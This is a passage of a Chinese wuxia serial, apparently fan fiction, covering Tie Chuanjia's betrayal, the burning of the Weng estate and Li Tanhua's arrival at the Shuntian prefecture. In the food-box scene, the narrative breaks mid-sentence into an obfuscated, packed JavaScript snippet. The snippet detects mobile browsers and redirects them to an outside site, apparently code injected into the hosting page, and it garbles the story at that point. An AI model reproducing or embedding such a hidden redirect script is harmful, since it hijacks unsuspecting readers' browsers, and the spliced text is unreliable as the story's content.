“我这五弟说些什么昏话。”喝过茶后,便将传甲送了出去。但那天傍晚,使个小厮送了一只大食盒去给他。好沉的食盒,满匣的珍宝,令陋室生辉。他知道,苏苏已经将他夫妻二人的性命交在自己手里了。他可以把这些东西拿去给沈炼。 传甲的心砰砰直跳,在竹床上坐了下来。那竹床咯吱响了一声。 他喃喃地道: “叶继文啊叶继文。你这辈子凡是自己拿过的主意,没有不糟的。当朝的尚书叫你去做官,你不做,偏生要改了姓名,给一个县令当走狗;难道给锦衣卫当走狗,和给县令当走狗,就有什么差别么?” 他把食盒盖上,又打开,又盖上,踌躇不安。他知道,自己绝不能再去求沈炼了;沈炼是一县之令,是个郁郁不得志而渴望做出一番事业的能吏,和他同科的进士,而今做到知府和六部堂官的大有人在,只有他沉沦下僚,眼睁睁瞧着许多看不惯的事情发生。他等一个能让自己出人头地的机会,已经等了太久了。平心而论,翁天杰的确是犯了罪,沈县令捉拿他,一点问题也没有。一个有名的好官捉拿了犯人而得到升迁,是大快人心的好事。他为什么不也一并感到痛快呢? 食盒当中的珍宝里并没有那把铁尺。 一连好些天,他不敢去见苏苏,也不敢把食盒拿出来。原本他每过几天就要去向沈炼报告,可是这些天里连这职责也懈怠了,像只缩头乌龟似的忙着馆驿的事情,没事找事地亲自把这座三层的小楼洒扫了一遍。沈炼也不来催他,唯此,他的心里才觉得更加慌乱。 日子忽忽地转到了节下,春节是一年到头的大事,各处的防守也都松懈了。传甲提着那只食盒出门,却被一个人给拦住。沈炼笑道: “铁兄,你哪里去?” 传甲道: “我带些儿礼物去看朋友。” “哪里的朋友?” “东昌府上的。我——” 沈炼笑道: “你这话说的正好,我也发愁该带什么礼物去拜会亲友,不如你把这食盒打开给我瞧一瞧,让我学个样儿,好不好?” “只是些乡下粗陋饭食,有甚的——” “继文兄长。”沈炼慢慢地说,“我敬你是兵科的朋友,又是江湖上的一条好汉。那么你愿和我文做呢,还是武做呢?” 传甲知道自己的这点心思在他面前完全败露了,只将他拉到小屋里,烹茶招待,问道: “请教县尊,文做如何,武做又如何?” “文做,你把这食盒给我。武做,你我先交过手,然后我自己把食盒取去。” 传甲默然良久,叹道: “我怎敢和县尊争执!县尊,这便凭你拿去罢了。” 沈炼道: “铁兄,人活着最要紧的是不要做太多傻事。那翁天杰就是做了一回傻事,至今受害。你说是也不是?你是武科出身的,应当知道他的那段履历不过是瞎扯,甚么因军功除了军籍,这种事情自开国以来也不曾有过,怕是说书听得太多了,才诌出这样话来,只合拿去骗骗家里的嫂子。他原不过是一个逃兵罢了!九边逃兵多有流窜为盗的,他和东平十虎必有勾结。那开野店的易明湖,既有一双鉴定珍宝的慧眼,给他们销赃倒十分便当,这门生意着实不坏。……这样的人,我们一般称之为贼,不叫什么‘兄弟’、‘大哥’。” 传甲一声不吭。沈炼当着他的面把食盒打开,里面放着三样凉菜。他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995993|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见就笑了,说了一个好字,打开第二层,又是四碟荤的,气得沈炼又说了一声好。打开第三层,是四碟素的。沈炼连开三层,取出十一样好菜,说了三声好。又笑道: “铁兄,你好够意思。去吧。” 传甲本就守住了门口,见他放过,便道: “谢县尊成全。” 他一拱手,去了。沈炼却不急着做什么,慢吞吞地坐在竹床上,将食盒里的饭菜把来自斟自饮。吃喝得尽兴了,才走出去到堂上,发榜捉拿盗贼铁传甲。 却说苏苏一向替她丈夫收藏着金银财宝,翁天杰对她只说是江湖上朋友们相赠,要么就说是他在外头替她买来的首饰。她爱翁天杰至深,不信也得信。然而先是沈炼,又是传甲,东窗事发在即。当日传甲一脚将那闯到庄上来偷盗的贼人踢倒,不叫别人看见他究竟偷出了些甚么东西时,她就知道传甲一定不寻常,因此着意拉拢他。当然是用她唯一的武器:她的美。 这样武器,实在很有效。只怕聪明反被聪明误。 那些财宝,在她心里只是引火烧身的信子。而交出去以后,她无日不生活在深深的煎熬当中,担心传甲将他们告发,担心翁天杰回来后怪罪,担心她平静的生活终究不能长久。 然后,传甲竟就不再来了。 边浩当日瞪大了眼珠儿,告诉他们这个消息: “嫂子,二哥,四弟!你们知不知道,铁五弟竟然是劫了皇家贡物的盗贼,听说他在山里和东平十虎勾结,把长风镖局的人都杀了,抢夺了送到京里去的一批财宝,如今露了行藏,叫沈县令发榜捉拿呢!” 西门烈道: “难道当时在客栈里——”大家叽叽喳喳地讨论起当时的事情来。却说传甲和金凤白是一道进门的,凤白说,他们是在路上偶遇,两个茫茫大雨中的行人,偶然作伴而已。 只有苏苏怔了一下,道: “我不信,铁五弟是老实的人。” 易明湖便看了她一眼,苏苏把头低下。这时是年关里,外头劈里啪啦地放着爆竹,嘈杂一片。忽然,外头的小厮和庄客们,一齐都喊叫了起来: “翁大爷回来啦!” 苏苏赶忙和众人一道迎出去,却见翁天杰从大车上搀扶下一个老头,老头的胡子一大把,牙都要掉光了,话也说不清楚。原来就是张家的老太爷,人称“张老善人”的,张承勋的父亲。 翁天杰道: “这老大爷,一路上可教他磨死了!我不耐烦做这些照料人的事儿。” 苏苏道: “早知道你是这德性了,娘子不是在这儿吗?”便将老大爷搀了进去,服侍他换衣裳,吃东西,陪着颠三倒四说了半天话,终于老头困了,一头睡倒,她才得闲出来。一出门,又被一双手搂进了怀中。原来翁天杰急着见她,在客房门外等了这许久。 两人密爱无加,美了一阵。苏苏将她的丈夫看过来,看过去,忽然道: “铁五弟替你受了过了,你知道不知道?” 翁天杰板着脸道: “我并没要他这么做!我也没要你……” 他不说话了,将脸扭过去。两人之间那温柔旖旎的爱的气氛,渐渐变得冰凉下来。苏苏眼中不觉已蓄了一汪泪水,可还是什么也没说,扭头走了。此后两人在外人面前仍亲密如旧,可是苏苏的心里,却觉得和丈夫有了一道深深的隔阂。然而这隔阂也不是第一天才存在的。她早就知道,她对丈夫的心一无所知。只是从前装傻有用,现在装不下去了。 她发现自己竟也开始躲着翁天杰,每日里只顾着照顾家里,闲下来就过刘家和刘娘子说话。直到当年的元宵节,她正和刘家四五个女眷一起做针线,忽然外头一阵吵杂,家中使唤的一个小厮儿匆匆地闯了进来,叫道: “娘子,娘子!大事不好,庄上起火啦!” 庄上已成为一片火海。庄前边许多庄客和人交手,易明湖手里没兵器,使着一块砖头,和人打得有来有回,抽空还指挥着救火,见她不管不顾要往里头闯,拼死把她拉住,叫人在臂上砍了一刀。他倒因痛而越发地添了神勇,一脚将那人踹倒,夺了他的兵器在手里。又将苏苏扯住不叫她进去。 苏苏先是哭天抹泪地答应了,易明湖一转身的工夫,她却从烧得倾颓了的矮墙上爬了进去,两手登时给烫得焦烂。她一路喊着翁天杰的名字,一路沿着回廊跑去。起先还有许多家丁试图从水池里打水救火,可是一批强盗在院中乱杀乱砍,而火势也乘着风越来越大,终于大家都把桶丢了,顾着自己逃命要紧。唯有苏苏一个人还冒着火走到屋里,这时候,整幢大屋全是吱吱咯咯地将要倾倒,她站在屋中央,觉得十年来的安稳生活,犹如梦寐一般。眼看着头顶的房梁就要压下来,她只一动也不动。 却忽然有一只手大力将她扯出了屋子。她的家在眼前轰然倒塌,热风扑面。苏苏被烟尘熏得满眼是泪,那人道: “大嫂,我送你出去罢。” 苏苏眨眨眼睛,泪水便落下来,能看得清了,见到是一身劲装的铁传甲,手上拎着一把大刀,热血尤沿着刀刃往下滴落,便一把将他扯住了道: “这是谁的血?这是谁的血?” 传甲抿了抿嘴,好像打算扯个谎,这本来也很容易。后来却说: “是我翁大哥的。” 苏苏将他挣开,自己拼命地往火中跑去。那炽热的旋风,很快将她吞没。 *《御选唐宋诗醇-清-高宗弘历》御选唐宋诗醇,卷二十四,白居易,《霓裳羽衣》 18. 聊从一笑休 打从三天之前,顺天府尹高擢就吃不好、睡不香了,他本来是个很高大敦实的人,心里不藏什么事儿,所以焦虑之情,溢于言表,连着整个府衙都跟着他提心吊胆。问他,他只说是因为大比在即,会试的几位考官不日就要下降,因此诚惶诚恐。 但去年顺天乡试的时候,也没见他这么夸张。科举这回事,虽然麻烦,但一般和他们府衙门不太沾边,他们的职责不过是平日里好生照管着贡场,别再像天顺七年那样外头锁门里面失火,活活烧死百多号人,那真叫个考考考,烤得肉烂皮也焦——大比之期到来,顶多再遣几个人供支应,也就是了。 二月初二的这一天,高府台又是早早地到衙门口等候着,直着脖子望到了日上三竿,才终于从远方来了一队人马。一共是三抬轿子,这是今年朝廷点下来主持甲辰科的考官,按次序,依次是主试的礼部尚书张潮老大人,副考官翰林学士江汝璧,后面是知贡举的春坊左中允孙承恩。都是四抬的轿子,几人各自带着随从,加上仪仗固定的随从,竟是乌泱泱的好大一队人马。只有一个穿着朱红袍子的少年人,不远不近地跟在他们身边。可是顺天府衙的人一瞧见他这一身服色,就明白高大人为什么连日里这样地坐立不安了。原来这少年正是一身锦衣卫的鲜衣怒马,腰间一左一右佩着两把绣春刀。看他佩刀的这架势,就知道两把刀绝不是挂在那好看的。 朝堂内外,无不是谈锦衣卫色变,然而科考已是定规,三年一次,虽然是国朝的大事,但年年按规矩办下来,并没有什么不妥当的地方,为何这一次偏偏有个锦衣卫跟来呢?高擢虽然早得了消息,知道这次有一位南镇抚司的指挥随着过来,驾帖说是“协理考务”。然而难道叫这位指挥大人跟着去巡场、发卷子?究竟他要干什么,实在让人琢磨不透。 他正在脑子里转着这些念头转得没个完,几人已然来到了近前。高擢连忙一一地接应下来,尤其是张潮老大人,今年已六十多了,老态龙钟,花白的胡子一大把,走路都是颤颤巍巍的。几人客套过了,张潮虽然只是从礼部衙门坐轿过来,但一路颠簸,也实在够他受的,马上安顿他去歇息。孙承恩实际上也没比他小上两岁,不过倒还硬朗,而且健谈得多。 几人边叙着话,边向大厅上走。学士江汝璧,也是五十多了,此人一生宦途坎坷,出了名的倒霉,先是直言进谏被请到诏狱里坐了坐,后来皇帝又一脚把他踹到福建,做一个小小的市舶司提举,嘉靖十六年,他主持应天府乡试,又出了事,这次干脆削职为民,最近才召还来京,依然让他办理科举事务。大概他老人家前些年在诏狱住过,记忆依然新鲜,他连坐着喝茶的时候都不想和那锦衣卫挨着。 那锦衣卫大概也知道自己这身皮并不太招人待见,默默地坐在下首。可是高擢不敢怠慢了他,笑道: “原来这位就是大名鼎鼎的辛丑科的探花郎李从宦大人!李探花,你也是翰林的学士出身,风流文采,天下皆知。这次可要多指教指教啊?” 对方微微一笑道: “哪里,我这次是来给张大人他们做个巡场的小厮。高大人,江大人,孙大人,在下忝陪末座,不过是受了家父的恩荫,实际上在座各位哪个不是我的长辈、老师?还是叫我的名字李孝元罢。”大家连忙左一声不敢当,右一声少年英才地奉承起他来。他却站起来道: “我在这里,没的扰了大人们的清净,我先走了。” 高擢连忙叫个小厮来引他下去歇息。等他走了,屋子里的三个人才长长地出了一口气,彼此看看,竟有劫后余生之感。孙承恩伸一根指头,悄悄地指了指他离开的方向,高擢又摇了摇头。几人默了半晌,江汝璧道: “这——这成什么话?” 高擢连忙哎呦了一声,不让他把牢骚接着发下去,又小心翼翼地看了看周围,好像空气中漂浮着无数双眼睛。他定了定神,才说下去,道: “我看哪,是为了翟大人家的一双公子的事儿!” 原来本朝的宰辅翟銮,膝下有三个儿子,大儿子叫翟汝敬,没有功名,靠父亲的恩荫,在锦衣卫挂一个副千户的职名;二子翟汝俭、三子翟汝孝,去年双双中了举,今年又要来会试。这些年来,皇帝对翟銮的态度阴晴不定,高兴的时候,一捧把他捧到天上去,不高兴的时候就撒手了。不过皇帝对谁都是这样。可是难道这次他是成了心要寻翟銮的短处了? 江汝璧听了,长叹了一声,道: “造孽!” 要知道他为官二十年,总是浮的时候少,沉的时候多,而且这些年来每逢他主持科举,多多少少总得出点事儿。当然,科举是天下士子所望的大事,基本上每一科都有些乱七八糟的事情发生,这倒也不说明他本人是否带有特别的晦气。 李孝元是在西华门外的官道上追上他们三个人的,他刚说明来意,江汝璧就知道今年自己又少不了受一茬罪。孙承恩道: “贞斋,你这些年一直在南边,不知道他。他就是李蒲汀的小儿子嘛,能跟你为难?” 江汝璧哦了一声,脸色缓和了些,“我也该去瞧瞧李蒲汀了……我们多少年没聚过。好像上次见面,还是我刚进了翰林院,他是弘治年间,十七岁上中的探花,给三朝皇上讲过经筵。我呢,我是正德十六年的进士,殿上选了庶吉士,然后就是李蒲汀给讲课。算起来,我还得叫李蒲汀一声老师呢。他说我人迂,作的诗也迂。”说着就笑了。 孙承恩虽然比江汝璧早上十年登科,但正德三年,刘瑾闹得很凶,把李廷相贬成个兵部主事,此后一直沉沦下僚,等他再回翰林院,孙承恩又奉使命到安南去了,所以两人倒不大熟悉。他道: “他今年冬天没过去。” 瞧着江汝璧十分吃惊的样子,他又说: “怎么,你好像什么都不知道呢!贞斋,你总说南边的瘴气厉害,其实北边的皇气更厉害。你不在的这些年里,又死了多少人呢。嗨,就拿李从宦说,他们虽然是个簪缨世家,可是这些年似乎也将败落了,李宗器老大人死了,这你是知道的……” “对,嘉靖十年的事儿。” “李蒲汀年头上也去了,为着李孝元夺情的事儿,闹得不小哇……李重恩比蒲汀还早一年。” “怎么!大好的人材,从前还说呢,迟早他能当得上兵部的尚书,到时候,李家就是三代同朝的尚书。” “当上啦。”孙承恩笑道,“皇上追赠的。现在偌大一个声威赫赫的家门,就剩下李从宦一个了。十八岁的孩子,晓得什么事儿!无非就是整天在宫里头奉承奉承皇上。” “毅斋,此言差矣。能奉承皇上,就算最大的本事!” “这倒不假……” 几个人絮絮地说着,高擢便很注意地听。为着他的仕途,这些掌故非得全烂熟于心不可。就在他们哔哔啵啵地讲八卦的时候,李探花默默地随着那小厮穿过长长的回廊,到馆驿去歇下。一路上形形色色地路过不少人,见到他这一身锦衣卫的服色,都惊讶以至于窃窃私语。他忽然道: “你去罢。我自己走走。” 小厮赔笑道: “李大人,这不大好罢?要是您迷了路,高大人怪罪下来……” 李探花拿出牙牌来在他眼前晃了一下,他就不敢再说什么了,匆匆行了个礼,退身走到廊下,然后跑开了。大概他是赶着去向高擢报告,但李探花也懒得再理。 慢慢地在院子里转了转,沿着墙溜溜达达地一直走。墙头上垂下二月初的藤蔓的新芽,星星点点的。他忽然想起当年在诏狱里见过的哥哥刻在墙上的诗句:“又见春风换故枝”,不觉轻叹了一声。 打从皇帝应允了他出宫以后,他就一路快马加鞭地赶回家里去。他家在北直隶保定府的新安县,离着京城不过是二百里路,拼着第二天就赶到了。李丙早被他打发回家办理丧事,等他回来,死者早已入殓,一副檀木的好寿材,摆在了来鹤楼的大厅上。来鹤楼是他父亲的书房,收藏着不少金石拓片、古董瓷器,是他祖父和父亲两代人慢慢攒起来的。可是临去时,他父亲的棺材里只放着一卷诗,一块小石头。他们家中收藏颇丰,什么奇石珍宝找不出来,谁也不知道这块平平无奇的石头有什么寓意。 当天下午,他就带着人到郊外去看母亲的坟。李家的祖籍在东昌府濮州,祖坟在鱼山上,那是泰山的余脉,李探花的祖父李瓒就是由老李尚书扶灵回故地安葬的。但是李夫人死后,老李尚书把她葬在自己身边,他死后,也决定不再回濮州去了,就和夫人刘氏生同衾,死同穴。前些年李探花的大哥李荣去后,也葬在那块地上。 李探花站在岗子上,看着人家慢慢地挖开坟穴。可是一铲子下去,众人大吃一惊,原来去年雨水大,淹了直隶周围好几个县,顺天府便发民夫去治水,将河流改道。从李荣安葬下去以后,这块地方的风水条件已和老李尚书买地时大不相同了,买的时候眼看着还算挺高的地势,挖开一瞧,坟穴里竟然积着一包水、一窝蚂蚁。这在当日的风水讲究上说,是一件不得了的事情。儒家讲究事死如事生,没有叫先人住在水浸蚂蚁咬的地方的,若是如此,就是不遭雷劈,也一定得点什么报应。可是李探花心想他这一年过得还算不错,甚至在宫里也见着了表妹,看来,他家里这两位受了委屈的先人,都不肯降下惩罚给他。于是兀自哭了。李丙连忙叫人把棺起出来,运回家去,另外择地安葬。 结果来鹤楼里就放着两口棺材,一口箱子了。李探花把人都赶出去,自己坐在大厅的地上,靠着他哥哥的刚抬回来,还湿漉漉的棺材。怀里抱着那口箱子,深吸一口气,打开它。 他母亲刘氏,原是一位行走江湖的侠女,死后并没有尸骨留下,那墓地只是个衣冠冢,安葬的是她的这一口小小的嫁妆箱子,楠木嵌石的,里面放着几件旧衣服,一柄剑,丝帕包着的一块小石头。 谁也不知道为何她和老李尚书去时都要带着一块小石头;大概今后永远也没机会知道了。 楠木的料子好,所以水浸了一年多,衣服也并未受潮。李探花把那几件衣服双手捧起来,蒙在脸上,想起了母亲。他母亲早已去世有十年了,离开的时间已比陪伴他的年头还长。可是他还是能清清楚楚地想起她的样子。他想起母亲死前,他们的家门流水也似地有江湖人前来拜望,几位华山上下来的女冠,前来拜见师姑。 华山从第四代掌门“辣手仙子”华琼凤起就一向只收女弟子,她的玄侄孙女华真真,是华山的第八代掌门,一生不论婚嫁,倒收养了许多孤女。他母亲刘氏就是其中一个。 刘氏是庆远府宜山县人,本是姊妹两个。可是家中贫寒,母亲早亡,家里穷得过不下去,父亲就将两个女儿都卖了。刘氏从小给人做使女奴婢,长到十三四岁上,幸而被华真真收养,成了她最得意的一个弟子,也几乎就是公认的华山第九代掌门。华真真到中年以后,越发地飘渺出尘,一心参悟武道,不理俗务,刘氏不仅代师收徒,而且常常地下山来行侠仗义,华山周边三百里的百姓,都幸得华山派的庇护而能不受官府豪强的欺压。 华真真领来这女孩以后,因为疼惜她身世坎坷,就给她取名作“无忧”。二十多岁,华山脚下的百姓们竟要给刘无忧立座生祠;他们不懂得什么太大的道理,只以为华山上面住着许多的仙女、救苦救难的菩萨,所以要立一座无忧娘娘的庙宇,日夜参拜,求一生的平安。 李探花的父亲李廷相,后来号作“蒲汀”的,年轻时遭了刘瑾的祸乱给贬成个小小的兵部主事,又借去锦衣卫里当差,免不了行走江湖。他人聪明,可是因为没有这个家学渊源,不懂武功,只在经略情报和断案识踪上利害。那时节,他和刘无忧既是彼此最好的朋友,又是一生的敌手。两人一个要维护官府的立场,一个想保持华山的独立,有许多的争执。可是世道那样乱,两人一道行侠仗义,又有更多、更多、更多情人间共享的回忆、期待和爱。在华山下,他们曾经三次分手。第一次,是一言不合,都欲除对方而后快;第二次是为了各自的立场,一个回华山,一个回京城,第三次刘无忧追上来了。她为经略华山事务,却和苗疆五毒童子狭路相逢,中了他的毒;大概即使还能活几个年头,也必定与病痛相伴,痛苦不堪。那时候,她才开始思索自己的人生。她要作为一个什么样的人死去?是华山派的掌门,还是…… 最后,她决定要用人生的最后十年,来做一个小小的兵部主事的妻子。 华真真知道了以后,叹口气说: “好了。你们两个就在一块儿罢。” 于是,华山的少掌门刘无忧,山下百姓传说的解救疾苦的无忧娘娘,做了兵部主事李廷相的妻子刘氏,后来有了一个孩子。因为她知道,中了五毒童子的剧毒,死后的尸身不是当即烧成一堆焦炭也似的可怖残渣,就是化为一滩脓水;她一辈子高傲,爱清洁,绝不能接受自己来人间走一遭,只留下一滩污秽。她要留,就留给人间一个生命。一个新的期待。 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次日,几个人再进去,却不见了李探花,李丙大骇,把全家这两亩地翻了个底朝天。可是哪里也找不到,他又只好回来唉声叹气地自己主持封棺,大概李探花是伤心得再见不得眼前的景象,跑到什么地方散心去了。就在敲钉的时候,棺材里面却传来一阵模糊的声响,那工匠手一抖,竟钉歪了,众人面面相觑,不知道是不是死者在天有灵。李丙心中一动,连忙叫人将棺盖打开,只见李探花睡眼惺忪地和骸骨挤在一起,虽然没睡醒,手倒是很快,下意识地就接住了砸歪了穿透棺盖的钉子。长钉穿透了手掌,血沿着手腕淌下来,滴在他脸上。 李丙默默无语,把他拉出来,搀到楼上去了。 那一阵家里真是担心少爷好好一个人也许就会竟这样疯了,不过他醉了两三天,酒醒了就好了。问了日期,没事人似的爬起来往外走,一面叫人把佩刀给他拿来。李丙跟在后头,不敢改口,还叫他少爷,说: “少爷,你上哪儿去?” 李探花笑道: “自然是当差去啊。皇上还给我派了差使呢。他叫我好好办差……顺便照顾家里……” 李探花绕过回廊,眼前一亮,原来这顺天府衙门内中造得竟然别有一番天地,亭台楼阁,高低错落,倒也十分雅致。这大概是府尹的内院,隔绝了外头衙门里的一切人声。他就在池子边坐下,不错眼珠儿地看着水里的鱼。过了一会儿,从远处走来一个人,搬着两个大箱子,看了他两眼,走了;过了一会儿又回来,箱子不见了,递给他一个碗,里面盛着些鱼食儿。 李探花笑了,接过碗来,把鱼食往水里抛。那人大约是府衙的吏员,穿着一身半新不旧的棕色长袍,用很难听懂的南边话问: “请问你阁下台甫?” “李从宦。” 那人就憋笑得很努力的样子,李探花刚要追问,他却摆摆手很快地走了。后来到了晚间,他自己走到馆驿去,见了来请他入席的高擢,高擢说: “那人一定是老熊!李探花,你甭跟他一般见识,他是海康县辗转荐上来的一个办事儿的,在我府里做一个知事,为人精干得很,可是有一样不好,就是他说的家乡话咱每听不懂,他也是,好像觉得这官话挺好玩儿似的,有时候把一些莫名其妙的词句在嘴里念叨两遍,自己笑个不住,我也懒得问他。” 这时候李探花因为办差不方便,已然将锦衣卫的官服换下来了,他原应戴孝,可是戴着孝去办差当然也不相宜,末了穿的是一身燕尾青的直裰,戴着方巾,看上去像个秀雅的文士,只在靴子上扎了两道白布条。高擢疑心不定,不知道他究竟是不是个戴孝的意思,自然他知道李探花家里有丧,可是皇上将他夺情留在京中,他也好像无所谓似的。 再说,他生得这样漂亮,戴着孝也像在赶时髦似的,他要是穿着这双靴子在街上走几天,恐怕全京城的少年都要兴起这样的靴子来了。究竟李探花心里是怎么个意思,在席上是给他备什么样的餐具和蔬食,叫高擢心里为难得很。这种事情总不好开口去问:你爸爸死啦!你是真伤心,还是假伤心? 李探花看出他踌躇,微微一笑,说: “高大人,我约了个朋友,今晚不能奉陪啦。”说着也不等高擢回答,翻窗就走。高擢只听着房顶上一片叮咚的瓦片响,就知道他去了。 可是他实际上又并没有什么事,只在街上溜溜达达,最后走进一家小酒馆里要了点酒吃。酒上来了,先洒一杯敬了娘亲,又洒一杯敬了爹爹,再洒一杯敬给他兄长,可是兄长也爱吃酒,兄长多吃一杯罢……一杯一杯洒了大半壶在地下。 那姓熊的知事,忙活了一天,也到酒馆来消磨,进门来却见到他在衙门里碰见的那个锦衣卫里的官大人,换了一身衣裳,坐在桌边,倒一杯酒,洒在地下,又倒一杯酒,又洒在地下,觉得好玩,上来打了个躬道: “从宦老爷,您好啊?” 说着又十分想笑的样子,李探花觉得这人有意思,叫他坐,道: “你干么老是笑个不住?” 那熊知事便道: “无事,无事。不说无事,说了你老人家怪罪,我就有事了。” 李探花笑道: “我闷得很,正想听个笑话来解解闷。你说罢。” 熊知事便道: “那……我要先问一句,老爷你的大名是不是叫李作乐啊?” 原来他是个广东人,广东的口音,念出“从宦”二字,音同“寻欢”。李探花听了也忍不住笑,又说: “不是,我叫做李孝元。” 说着用筷子蘸了酒将“孝元”二字写下,又说: “原也不是这个。原先是竹夭之笑,缘法之缘。” 又将这二字写下。前面孝元两字已然干去,看不清了。原来他母亲和本地的一个大和尚相善。这和尚是有名的疯僧,当时在真觉禅寺挂单,整日里四处游荡,身上有许多奇事流传。等有了孩儿,刘氏摆下素斋,请那和尚给孩子取名。席间,刘氏像摇一个卜卦的签筒似的摇着桌上的筷子筒,摇出一根筷来,那和尚拿来在嘴里嗍了一下,在纸上写下二句佛偈: 报尽随缘去, 聊从一笑休。* 刘氏将这手卷带回去给老李尚书看,他因“笑缘”不吉,听着也太萧索,便改为“孝元”。后来皇上又赐了他“从宦”二字,为的是要叫他忠孝两全。 熊知事笑道: “是啦,老爷,你这就是极好的命,只要乖乖地做忠臣孝子,就有享受不尽的富贵荣华。” 李探花摇摇头,笑道: “没意思。没意思……喝酒。” *《姑溪居士前集-宋-李之仪》后集卷十三,《俞清老挽词二首,其一》 19. 沧浪 西门烈悄悄潜入屋中,做贼似的。其实做贼是他的老本行。这是刘家的宅院,深而宽阔,就是北地常见的那种殷实人家的屋宇,房顶连着房顶,围墙接着围墙,身为一个彻头彻尾的北方人,从记事起不曾走出东昌府这方圆百里的小叫花,他反而对此有些不习惯。因为翁家不是这样的。苏苏着手经营的那个家,有水流,荷花池和木栈道,一重一重的假山,奇石,影壁和回廊。如翁天杰所说,是搬来了沧浪亭的一角。他爬在房梁上向下望,绣房温暖舒适,四处挂着丝绸的幛幔,刘家的女眷到了晚上会聚集到这个房间里来做针线活,一起守着一盏灯。虽然这个殷实的家庭并不缺少灯油钱,但她们从小就被教导以节俭,据说是妇女德行的表现。刘家的大娘子把苏苏接过来以后,安置在这间绣房里,女眷们还是会在晚上聚集在这里,大家东拉西扯地什么话都说,很晚才散去。西门烈等啊等啊,不觉趴在房梁上打起了瞌睡,险些一翻身栽下来,吓出一身冷汗。 他连忙攀住梁木,再向下望去,只见屋里又复冷清,女人们已经各自回屋歇息,剩下两名侍女守着苏苏,苏苏则守着那一盏孤灯,羊油烟气扑面,灯芯烧到后来,火光已然微弱得这样可怜。西门烈有点丧气,真不知道还要这样等到什么时候。 翁家大火的惨祸,传得茌平城里城外尽人皆知。翁天杰死在了大火中,刘方氏把苏苏接到自己家里来,不准苏苏的身边断了人,怕她寻短见,白天就和女眷们一起簇拥着她,和她说话,说“妹子,我真觉得你我是浪费了这整整十年”,晚上,她自己要照顾孩子,就让两个贴身的侍女相陪。所以好多天过去了,西门烈都没有找到合适的机会,能单独和嫂子说上几句话。 其实,这些天里一直坐在房顶上想啊想,自己也觉得真没什么好说的,但他还是想要和苏苏独处的时刻,他是个很固执的孩子,而翁天杰死后,苏苏又是不多的为他所在乎的人。他在乎苏苏甚至更甚于在乎救他免于饿死的翁天杰,因为翁天杰是大英雄,大豪杰,苏苏呢?苏苏伴着一盏孤灯,坐在这里,这么久一言不发,手里还在做着针线。她要给刘娘子的两个孩子各做一双虎头鞋,她老是在做鞋。她给西门烈做过鞋,给他做过新衣裳,从翁天杰第一次把西门烈领回家,叫她照顾这么脏的一个小孩吃饭睡觉以来,她那么多次地把西门烈拉到自己的身前,比量着他的高矮。西门烈说: “嫂子,你不要把我当小孩子,我十三岁了!” 她就笑着说: “是呀,长得这么大了,该知道要好了不是?不能再穿百家衣吃百家饭了。”他就只好闭嘴等她量完这里量那里。 她有整整一个箱子里面放着鞋,做出来了也没人穿,她说是给小孩子做的,虽然她和翁天杰一直没有孩子,可是假如有了呢?小孩子终究会有的,会一个接一个,会长得好快,每年都要有新鞋子新衣服,她用手指估摸着一个想象中的小孩儿的尺码,然后做出那么多衣裳。好像婴儿就睡在枕边,而她甚至能听得见它长大的声音。每到了天晴的时候,她也会把那些小衣裳取出来一起晾晒,熏上暖融融的香。她的院子宽敞明亮,种满了芭蕉树,南方的花木,在这里要很用心才能养得活,但苏苏把它们都照顾得很好。后来大火把那一切都洗得干干净净。 翁家大火之后,苏苏还可以平静地坐在绣房里,易明湖和边浩一起料理那废墟,公孙雨提着他那两把刀,四处寻找铁传甲,他甚至奔到驿站里去了几次,但是一无所获。有时候他仿佛是盼着被县官老爷抓去,那样,在大堂上,他就可以说点什么。但衙门里静悄悄的。人人都好像很有事做,很知道怎么处理悲伤,只有西门烈忽然好像不知所措。 其实他也不是常常住在翁家的,翁天杰虽然在他七八岁大的时候,就带他回到家里,让妻子照顾他,但他总说,他要凭自己的本事去闯荡,好像宁可睡在桥洞底下,穿着裤脚短一截,袖子又长一截的破衣烂衫,也比苏苏熏得又香又暖的床铺好。可是,躺在那滴水的桥洞下面,枕着自己的胳膊,想到在远处有这么一张床铺总是为他准备着,那是全世界最幸福的心情。现在这种幸福已经离他远去。 两个侍女也打起盹来,苏苏还在平静地一针一线地绣着,间或停下来,拿过长衫来替那七八岁的小婢女披上。夜深人静……夜深人静,西门烈再也忍耐不住,跳下地来,咚地一声,把那小姑娘惊得在梦中一跳,苏苏波澜不惊地拍打着她的肩膀,让她重新入睡。后来她问: “兄弟,你可吃了些什么?” 西门烈冲冲地说: “我不是来要饭的。” 然后又低下头去,自觉说话的语气太重,脚在地上划拉着。那已经是双破烂得底儿掉的鞋子了。他又吞吞吐吐地说: “我听说……嫂子要嫁人了。” 苏苏轻声道: “你不高兴嫂子嫁人么?” 他很快地抬头望了她一眼,见到一切的金的银的钗环,花枝招展的妆饰,都已除去,好像火也把她的美貌给洗了一遍似的,而且把他给烫着了。他又觉得还是看着地板和自己脚尖更好。他说: “我也盼着……盼着嫂子嫁人。” “为什么?” “因为……”西门烈攥起拳头。在他小小的,少年人的胸膛里,好像忽然积聚起了一股飓风。这是仇恨的力量。可是很快他又不觉泄气了。“不为什么。” 好像小孩子赌气似的,喃喃地说着。苏苏笑了。那种无奈的笑容,就像看到翁天杰喝酒喝得烂醉误了个什么事时一样。 “兄弟,你还太小了,不该想这些。你要是去做这种事,就是嫂子和大哥……就是我们对不起你。” 